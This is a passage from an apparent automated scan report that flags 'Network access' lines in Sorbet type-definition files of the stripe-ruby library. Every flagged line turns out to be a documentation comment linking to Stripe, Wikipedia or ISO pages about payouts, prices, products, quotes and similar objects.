    # To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error.
  • Network accessline 124
    # If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode.     #     # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to 
  • Network accessline 125
    #     # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) deta
  • Network accessline 126
    # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/person.rbi

  • Network accessline 6
    # This is an object representing a person associated with a Stripe account.   #   # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/account
  • Network accessline 7
    #   # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which 
  • Network accessline 8
    # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which incl
  • Network accessline 9
    #   # See the [Standard onboarding](https://docs.stripe.com/connect/standard-accounts) or [Express onboarding](https://docs.stripe.com/connect/express-accounts) documentation for information about prefilling information and account onboardi
  • Network accessline 10
    # See the [Standard onboarding](https://docs.stripe.com/connect/standard-accounts) or [Express onboarding](https://docs.stripe.com/connect/express-accounts) documentation for information about prefilling information and account onboarding s
  • Network accessline 42
    sig { returns(T.nilable(String)) }       def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 43
    def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 44
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 54
    sig { returns(T.nilable(String)) }       def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 55
    def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 56
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 68
    sig { returns(T.nilable(String)) }       def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 69
    def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 70
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 97
    sig { returns(T.nilable(String)) }       def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 98
    def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 99
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 200
    sig { returns(T.nilable(String)) }       def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 201
    def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 202
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 212
    sig { returns(T.nilable(String)) }       def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 213
    def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 214
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 358
    class Verification < ::Stripe::StripeObject       class AdditionalDocument < ::Stripe::StripeObject         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 359
    class AdditionalDocument < ::Stripe::StripeObject         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.         sig { returns(T.nilable(T.any(String, ::Str
  • Network accessline 360
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 367
    sig { returns(T.nilable(String)) }         def details_code; end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 368
    def details_code; end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.         sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 369
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 378
    end       class Document < ::Stripe::StripeObject         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 379
    class Document < ::Stripe::StripeObject         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.         sig { returns(T.nilable(T.any(String, ::Stripe::File)
  • Network accessline 380
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 387
    sig { returns(T.nilable(String)) }         def details_code; end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 388
    def details_code; end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.         sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 389
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 409
    sig { returns(T.nilable(Document)) }       def document; end       # The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-ver
  • Network accessline 410
    def document; end       # The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-verification) to handle verification updates. 
  • Network accessline 411
    # The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-verification) to handle verification updates.
  • Network accessline 455
    sig { returns(T.nilable(T::Array[String])) }     def full_name_aliases; end     # Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what informa
  • Network accessline 456
    def full_name_aliases; end     # Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when.     sig 
  • Network accessline 457
    # Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when.
  • Network accessline 482
    sig { returns(T.nilable(String)) }     def maiden_name; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a s
  • Network accessline 483
    def maiden_name; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.n
  • Network accessline 484
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/plan.rbi

  • Network accessline 4
    # typed: true module Stripe   # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
  • Network accessline 5
    module Stripe   # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.   #
  • Network accessline 6
    # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
  • Network accessline 7
    #   # Plans define the base price, currency, and billing cycle for recurring purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physic
  • Network accessline 8
    # Plans define the base price, currency, and billing cycle for recurring purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical g
  • Network accessline 9
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe
  • Network accessline 11
    # For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year.   #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and mo
  • Network accessline 12
    #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview).   class Plan < APIResource
  • Network accessline 13
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview).
  • Network accessline 65
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 66
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 67
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 80
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 81
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 82
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 104
    sig { returns(T.nilable(TransformUsage)) }     def transform_usage; end     # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_pl
  • Network accessline 105
    def transform_usage; end     # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).     sig { returns(T.nilable(Integer)) }
  • Network accessline 106
    # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 113
    sig { returns(T.nilable(T::Boolean)) }     def deleted; end     # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify yo
  • Network accessline 114
    def deleted; end     # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.     sig {
  • Network accessline 115
    # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/price.rbi

  • Network accessline 5
    module Stripe   # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and price
  • Network accessline 6
    # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track
  • Network accessline 7
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be 
  • Network accessline 9
    # For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once.   #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invo
  • Network accessline 10
    #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe
  • Network accessline 11
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com
  • Network accessline 55
    sig { returns(T.nilable(CustomUnitAmount)) }       def custom_unit_amount; end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recomme
  • Network accessline 56
    def custom_unit_amount; end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings.
  • Network accessline 57
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 101
    sig { returns(T.nilable(String)) }       def meter; end       # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 102
    def meter; end       # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).       sig { returns(T.nilable(Integer)) }
  • Network accessline 103
    # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 160
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 161
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 162
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 163
    sig { returns(String) }     def currency; end     # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://s
  • Network accessline 164
    def currency; end     # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). 
  • Network accessline 165
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 178
    sig { returns(T.nilable(String)) }     def lookup_key; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a st
  • Network accessline 179
    def lookup_key; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::H
  • Network accessline 180
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 193
    sig { returns(T.nilable(Recurring)) }     def recurring; end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provi
  • Network accessline 194
    def recurring; end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies 
  • Network accessline 195
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 217
    sig { returns(T.nilable(T::Boolean)) }     def deleted; end     # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.
  • Network accessline 218
    def deleted; end     # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.     sig {
  • Network accessline 219
    # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.
  • Network accessline 225
    # Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/product.rbi

  • Network accessline 6
    # Products describe the specific goods or services you offer to your customers.   # For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product.   # They can be used in conj
  • Network accessline 7
    # For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product.   # They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payme
  • Network accessline 8
    # They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payment Links, Checkout, and Subscriptions.
  • Network accessline 9
    #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription),   # [share a Payment Link](https://docs.stripe.com/payment-links),
  • Network accessline 10
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription),
  • Network accessline 11
    # [share a Payment Link](https://docs.stripe.com/payment-links),
  • Network accessline 12
    # [accept payments with Checkout](https://docs.stripe.com/payments/accept-a-payment#create-product-prices-upfront),
  • Network accessline 13
    # and more about [Products and Prices](https://docs.stripe.com/products-prices/overview)
  • Network accessline 50
    sig { returns(Integer) }     def created; end     # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.
  • Network accessline 51
    def created; end     # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.     sig { returns(T.nilable(T.any(String, ::Stripe::Price))) }
  • Network accessline 52
    # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.
  • Network accessline 65
    sig { returns(T::Boolean) }     def livemode; end     # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 66
    def livemode; end     # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).     sig { returns(T::Array[MarketingFeature]) }
  • Network accessline 67
    # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 68
    sig { returns(T::Array[MarketingFeature]) }     def marketing_features; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about t
  • Network accessline 69
    def marketing_features; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { retu
  • Network accessline 70
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 86
    sig { returns(T.nilable(String)) }     def statement_descriptor; end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 87
    def statement_descriptor; end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.     sig { returns(T.nilable(T.any(String, ::Stripe::TaxCode))) }
  • Network accessline 88
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/promotion_code.rbi

  • Network accessline 7
    # You can create multiple codes for a single promotion.   #   # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves
  • Network accessline 8
    #   # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal.   # Customers
  • Network accessline 9
    # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal.
  • Network accessline 36
    end       end       # Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com
  • Network accessline 37
    end       # Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/curr
  • Network accessline 38
    # Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    sig { returns(T.nilable(Integer)) }       def minimum_amount; end       # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount
  • Network accessline 46
    def minimum_amount; end       # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount       sig { returns(T.nilable(String)) }
  • Network accessline 47
    # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount
  • Network accessline 82
    sig { returns(T.nilable(Integer)) }     def max_redemptions; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object i
  • Network accessline 83
    def max_redemptions; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns
  • Network accessline 84
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/quote.rbi

  • Network accessline 49
    sig { returns(Integer) }               def amount; end               # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 50
    def amount; end               # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).               # It contains information about when the d
  • Network accessline 51
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 52
    # It contains information about when the discount began, when it will end, and what it is applied to.               #               # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun
  • Network accessline 53
    #               # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)               sig { returns(::Stripe::Discount) }
  • Network accessline 54
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 145
    sig { returns(Integer) }               def amount; end               # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 146
    def amount; end               # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).               # It contains information about when the d
  • Network accessline 147
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 148
    # It contains information about when the discount began, when it will end, and what it is applied to.               #               # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun
  • Network accessline 149
    #               # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)               sig { returns(::Stripe::Discount) }
  • Network accessline 150
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 338
    sig { returns(T.nilable(Integer)) }       def effective_date; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a re
  • Network accessline 339
    def effective_date; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`,
  • Network accessline 340
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to 
  • Network accessline 357
    sig { returns(Integer) }           def amount; end           # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 358
    def amount; end           # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).           # It contains information about when the discount 
  • Network accessline 359
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 360
    # It contains information about when the discount began, when it will end, and what it is applied to.           #           # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 361
    #           # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)           sig { returns(::Stripe::Discount) }
  • Network accessline 362
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 468
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 469
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.nilable(String)) }
  • Network accessline 470
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 492
    sig { returns(T.nilable(String)) }     def footer; end     # Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details.
  • Network accessline 493
    def footer; end     # Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details.     sig { returns(T.nilable(FromQuote)) }
  • Network accessline 494
    # Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details.
  • Network accessline 513
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 514
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 515
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 516
    sig { returns(T::Hash[String, String]) }     def metadata; end     # A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize).
  • Network accessline 517
    def metadata; end     # A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize).     sig { returns(T.nilable(String)) }
  • Network accessline 518
    # A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize).
  • Network accessline 522
    sig { returns(String) }     def object; end     # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.
  • Network accessline 523
    def object; end     # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.     sig { returns(T.nilable(T.any(String, ::
  • Network accessline 524
    # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.
  • Network accessline 575
    # A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote).
  • Network accessline 599
    # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh
  • Network accessline 605
    # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh
  • Network accessline 623
    # Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)
  • Network accessline 629
    # Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/radar/early_fraud_warning.rbi

  • Network accessline 8
    # charge may be fraudulent.     #     # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)
  • Network accessline 9
    #     # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)     class EarlyFraudWarning < APIResource
  • Network accessline 10
    # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/radar/value_list.rbi

  • Network accessline 7
    # Value lists allow you to group values together which can then be referenced in rules.     #     # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items)
  • Network accessline 8
    #     # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items)     class ValueList < APIResource
  • Network accessline 9
    # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items)
  • Network accessline 30
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 31
